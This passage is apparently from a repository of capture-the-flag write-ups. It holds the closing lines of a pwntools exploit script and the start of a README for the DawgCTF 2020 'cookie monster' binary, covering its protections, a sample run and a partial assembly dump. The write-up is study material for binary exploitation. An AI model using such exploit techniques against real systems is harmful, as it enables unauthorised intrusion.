103 | r.interactive()
104 |
105 |
106 | if __name__ == "__main__":
107 | main()
108 |
--------------------------------------------------------------------------------
/dawgctf2020/cookie_monster/README.md:
--------------------------------------------------------------------------------
1 | # cookie monster
2 |
3 | RELRO: Full RELRO
4 | NX: NX enabled
5 | PIE: PIE enabled
6 |
7 |
8 | the `main()` function calls `conversation()` that reads input twice then returns.
9 |
10 | ```
11 | $ ./cookie_monster
12 | _ _
13 | _/0\/ \_
14 | .-. .-` \_/\0/ '-.
15 | /:::\ / ,_________, \
16 | /\:::/ \ '. (:::/ `'-;
17 | \ `-'`\ '._ `"'"'\__ \
18 | `'-. \ `)-=-=( `, |
19 | \ `-"` `"-` /
20 | C is for cookie is for me
21 | Oh hello there, what's your name?
22 | name
23 | Hello, name
24 |
25 | Would you like a cookie?
26 | yes
27 | ```
28 |
29 | this is the dump of assembler code for fuction `conversation()`
30 |
31 | ```asm
32 | <+0>: push rbp
33 | <+1>: mov rbp,rsp
34 | <+4>: sub rsp,0x20
35 | <+8>: mov edi,0x0
36 | <+13>: call 0x1080